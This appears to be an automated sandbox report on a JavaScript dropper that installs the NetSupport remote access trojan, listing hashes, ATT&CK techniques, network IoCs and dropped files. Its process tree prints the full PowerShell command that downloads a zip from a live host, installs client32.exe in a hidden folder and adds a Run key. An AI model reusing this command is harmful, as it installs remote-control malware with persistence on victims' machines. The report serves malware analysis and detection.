netsupport | 189be0509d523ae0325b502c1cf4a78f4e15059655da116634ab8168a075a0d1

Analysis

max time kernel
139s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2023, 14:47

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General

Target

tkssm3306.js
Size

33KB
MD5

e59524fc7047d18d6d67b90c02340792
SHA1

70f833bd1d0284c49af0748c3a4869d8c9cdd87a
SHA256

189be0509d523ae0325b502c1cf4a78f4e15059655da116634ab8168a075a0d1
SHA512

70ec1ca8ab06e7ecf245ea5d7c26a779554b83739e64d05a18bee32b3d00756ada54a720f3fe82cef6940a65d4c2253f24b6c5ba4646520d6e37c251f1f5ccbb
SSDEEP

384:m6AENS2FIDJasQoIsFPMRKV91aLwBXchzSKxzTpqPd28NMwzoTVY01nRfb6/nrRU:k2iaAr1bc59qPd28NMwqVY6yrRnj2TF

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://a.ezydict.com/4th_2.zip

exe.dropper

http://YOUR.LINK/files/

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 5 IoCs

flow	pid	Process
9	2368	wscript.exe
11	2368	wscript.exe
15	2368	wscript.exe
18	2368	wscript.exe
25	2368	wscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4260	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
4260	client32.exe
4260	client32.exe
4260	client32.exe
4260	client32.exe
4260	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeStartup = "C:\\Users\\Admin\\AppData\\Roaming\\OfficeStartup\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1336	powershell.exe
1336	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeSecurityPrivilege	4260	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4260	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 1336	2368	wscript.exe	83
PID 2368 wrote to memory of 1336	2368	wscript.exe	83
PID 1336 wrote to memory of 4260	1336	powershell.exe	87
PID 1336 wrote to memory of 4260	1336	powershell.exe	87
PID 1336 wrote to memory of 4260	1336	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\tkssm3306.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "cd $env:AppData; $Z1P0r='R0k3r.zip'; $eXp4r0cH=Get-Command expand-archive -ErrorAction SilentlyContinue; $p4NteCh=$env:APPDATA+'\'+$Z1P0r; $lI0n3k='https://a.ezydict.com/4th_2.zip'; $r1N4m='OfficeStartup'; $b1tS1iT=Get-Command Start-BitsTransfer -ErrorAction SilentlyContinue; $b1tSiRcDm = 'bitsadmin.exe /transfer MeDoW /download /priority normal '+$lI0n3k+' '+$p4NteCh; $peS1zP=$env:APPDATA+'\'+$r1N4m; if ($eXp4r0cH) {if ($b1tS1iT) {Start-BitsTransfer -Source $lI0n3k -Destination $p4NteCh;} else {Invoke-Expression -Command $b1tSiRcDm}; expand-archive -path $p4NteCh -destinationpath $peS1zP; Remove-Item -path $p4NteCh;} else {$f1L1es=@('AudioCapture.dll', 'client32.exe', 'client32.ini', 'HTCTL32.DLL', 'msvcr100.dll', 'nskbfltr.inf', 'NSM.LIC', 'pcicapi.dll', 'PCICHEK.DLL', 'PCICL32.DLL', 'remcmdstub.exe', 'TCCTL32.DLL'); $lI0n3k2='http://YOUR.LINK/files/'; New-Item -Path $env:APPDATA -Name $r1N4m -ItemType 'directory'; if ($b1tS1iT) {$f1L1es | ForEach-Object {$s10r13s=$lI0n3k2+$_; $1dus1T=$peS1zP+'\'+$_; Start-BitsTransfer -Source $s10r13s -Destination $1dus1T; }; } else { $f1L1es | ForEach-Object { $s10r13s=$lI0n3k2+$_; $1dus1T=$peS1zP+'\'+$_; $b1tSiRcDm2='bitsadmin.exe /transfer MeDoW /download /priority normal '+$s10r13s+' '+$1dus1T; Invoke-Expression -Command $b1tSiRcDm2; }; }; }; $F1l1ed3=Get-Item $peS1zP -Force; $F1l1ed3.attributes='Hidden'; cd $peS1zP; start client32.exe; $F33Sr=$peS1zP+'\client32.exe'; New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name $r1N4m -Value $F33Sr -PropertyType 'String'; #oqNbi=2yza0GZBZjvSfR=6L$sCR9@97Wo4cj+xEfMcLZp)*#$xnrbBLI+vE5j$qW6K!r#T%1#Ed$**w8U564nb1Bw+D*oGJv+7d*M4p(423cWbW!NDM-B52oIzAxLrj-xYB4YVXBVm%Nj!C$xv@ewa+0cN64X$=DUND@$eePwfDuB^yI+GK7HN#zKhpzlU@dhx*@8E7ZgpqVbx)$1@R^rqV&C06M8KhHDb&*3^9Ya7p$QH9MezL1vUANrtVsbVSn#6vADlS1jsAF0%lep4DGx%A(PXzYB@4Rc%H-%ADREr5K4W)_hz!3ZCIO87%YX92iibtioOspy*GE#&8k0lpi2jlAZOGTeE-hi(*AjnxI%Kmg(@GF$odhUFZQRf6MM&JtE@st8bJoF@e&&uJUhZi2nJr$*X3^dS4bZAq5+ZQxImlkcg^qKEo-v-bzEXP0v=l0F&ZKxvu77&03sItbMh$8y-AmkDf=sLB@=fPOpys-lm*nJJZlRqQztxd&O5D+(8kl_nY8S^*K(a3iPkdOQ$2IjxGNY3Zep$Njl%!nfq3IcEMesyTc&Xu9$L$GRx0W(EK1wjDg(VPjgR9wiYrndseXkC#+(h*oXE0OHLatUsrbf_MifUT-am4jq7Aka!8zxVvGiik3GLNoF@bTsn%66ACjA0CyWUk8r4v5Hzn14-*76xTWE1o%dv&Au%T2aC@b@@Cxh@Gj^YLA%mWa2sMSk)J=9E2&#_Ul=b*EKRu!tbY#D_RWYyd3%j@s763q=593O1ZN=+cP0euF@_(A-8my)BNtzK(9CQx(=)I4-vgR0A7PSZ(nl)oql$vzFnM@OkIC0IIHyAnfu(Z5-#8=6KccxUK$+Vl9O-YiOB0Hmfub6+jlRyXO8J1E)1*X%7XSBYvui+w1&=AmgJHpl&1bZIEJ2KK(LqNhZj7HlVFUPGO)6(Hteb^u3tI=IQkagJBAPFeEK3J6-!FO^GMF-aWI@cE@fO8GuqB$_uvvmlfT$lFEwQDUf+yv!vN2e=0Op2*sCmmW6ssgexg7@0f-JzuDjM1DG(ycVVodWlol9mU)EN-b#I^doYvndu5LV++lQRqpYjc5crjFbvcem&OQ&DgF_jS4=@reGVTnIuWekN5jb3E9B%m%+s73TwSm7zxssZGxj(EjV$#F5(D^Q2lJD=@*$fjtZHE3jI2(zloD83AoP-ba9!3QDnYM)@J-trF5WAa6H+%#^_u03A#g2Bkj_fLfmCG0Z@O0l&+MPyy8rchtoGUSoi6Yz(@ttq_N2l*n6ZDSnJ5UG*drei3^RPP(T5&G$rjpRfR7*#)FnkRF-v3gn)l9fP$_Mhvk-GyxJJBy^y$n=4JJ1iRCMfU(DFRjgxk0VB*SX4WlujEx1Jo6GE8DwMMHeT*vZy+DOlo7e&HI3Jx8IvPXg^e&km#C=S#+M%c-15tR3$Ue4-ecoYB8!^bY91M)1O*^siLa4%)n=1XZWI*hrAv8m1*KPhNSu#DD#e#JGpcEFets8eT-dc6PEvly$WczOREYn6QachEMAc=kW$O3*x7MNP(MI!LIpS95DBHFNRoPvh8b^9)gdW^PS=2ptip%IZMAVvZEiMSc#F)00zyiqH+*Tz-Ld9^E_)P&RF19zoOLoNihCDR&5F7&Vmz)Zt-lv%-0zwvXT#Dl-2)SL5*7q%&TWSCo87@h#%l2o*2iqA)mYpR81NmaTAVw7ydHpx2TStmA"
  2⤵
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.exe
    "C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4260

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkcxmvbp.glc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\NSM.LIC

Filesize
257B

MD5
390c964070626a64888d385c514f568e

SHA1
a556209655dcb5e939fd404f57d199f2bb6da9b3

SHA256
ad0d05305fdeb3736c1e8d49c3a6746073d27b4703eb6de6589bdc4aa72d7b54

SHA512
f089c59a24f33410cf98fba7ea0dd2ca0fd997efc9a03e5355cde3c1a1f4a78b13cebd387099b9de824bffea01c489d8f0e90df56f89973007dabb6afdde607f

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\PCICL32.DLL

Filesize
3.6MB

MD5
00587238d16012152c2e951a087f2cc9

SHA1
c4e27a43075ce993ff6bb033360af386b2fc58ff

SHA256
63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

SHA512
637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\PCICL32.dll

Filesize
3.6MB

MD5
00587238d16012152c2e951a087f2cc9

SHA1
c4e27a43075ce993ff6bb033360af386b2fc58ff

SHA256
63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

SHA512
637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.exe

Filesize
103KB

MD5
877f5e83fb39de16fa8bbd93ba9f07f1

SHA1
4ccc61ba1722484042734579dff6c1a97bd37366

SHA256
418744fa1ade539c280461387df87dda6bf84c7d755ebbbdc6123fd5659f9467

SHA512
e863e199267fe303e359339ee5b7b0888a2d17da6f56ac34cadda55f9d94a1297fa9f84b4dc9fdc6b6737a851c1352e655d96866543b6adc4b07cb708531b5cb

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.exe

Filesize
103KB

MD5
877f5e83fb39de16fa8bbd93ba9f07f1

SHA1
4ccc61ba1722484042734579dff6c1a97bd37366

SHA256
418744fa1ade539c280461387df87dda6bf84c7d755ebbbdc6123fd5659f9467

SHA512
e863e199267fe303e359339ee5b7b0888a2d17da6f56ac34cadda55f9d94a1297fa9f84b4dc9fdc6b6737a851c1352e655d96866543b6adc4b07cb708531b5cb

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.exe

Filesize
103KB

MD5
877f5e83fb39de16fa8bbd93ba9f07f1

SHA1
4ccc61ba1722484042734579dff6c1a97bd37366

SHA256
418744fa1ade539c280461387df87dda6bf84c7d755ebbbdc6123fd5659f9467

SHA512
e863e199267fe303e359339ee5b7b0888a2d17da6f56ac34cadda55f9d94a1297fa9f84b4dc9fdc6b6737a851c1352e655d96866543b6adc4b07cb708531b5cb

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\client32.ini

Filesize
916B

MD5
0cdcc2f4c49dd68ef04c4ea4f63c1fea

SHA1
95379497e1fc856918f34ffe6525c6f5990b91c4

SHA256
410c41789f153420bcd50dd3572d4313ce36cd129ab8ca2024a180997d1a701e

SHA512
1ea78f62d03c31b1dc58033cb52e73f0664e9e33349a0548dc3e5489db107a4992ae7fad9aa83541ed554e16c316f251f8ab51b94043f9c36c7f593b7af3efd6

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\OfficeStartup\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
memory/1336-149-0x0000010C1C120000-0x0000010C1C12A000-memory.dmp

Filesize
40KB

Download
memory/1336-148-0x0000010C1C130000-0x0000010C1C142000-memory.dmp

Filesize
72KB

Download
memory/1336-147-0x0000010C1BF90000-0x0000010C1BFA4000-memory.dmp

Filesize
80KB

Download
memory/1336-146-0x0000010C1B250000-0x0000010C1B260000-memory.dmp

Filesize
64KB

Download
memory/1336-145-0x0000010C1B250000-0x0000010C1B260000-memory.dmp

Filesize
64KB

Download
memory/1336-144-0x0000010C1B250000-0x0000010C1B260000-memory.dmp

Filesize
64KB

Download
memory/1336-143-0x0000010C1B220000-0x0000010C1B242000-memory.dmp

Filesize
136KB

Download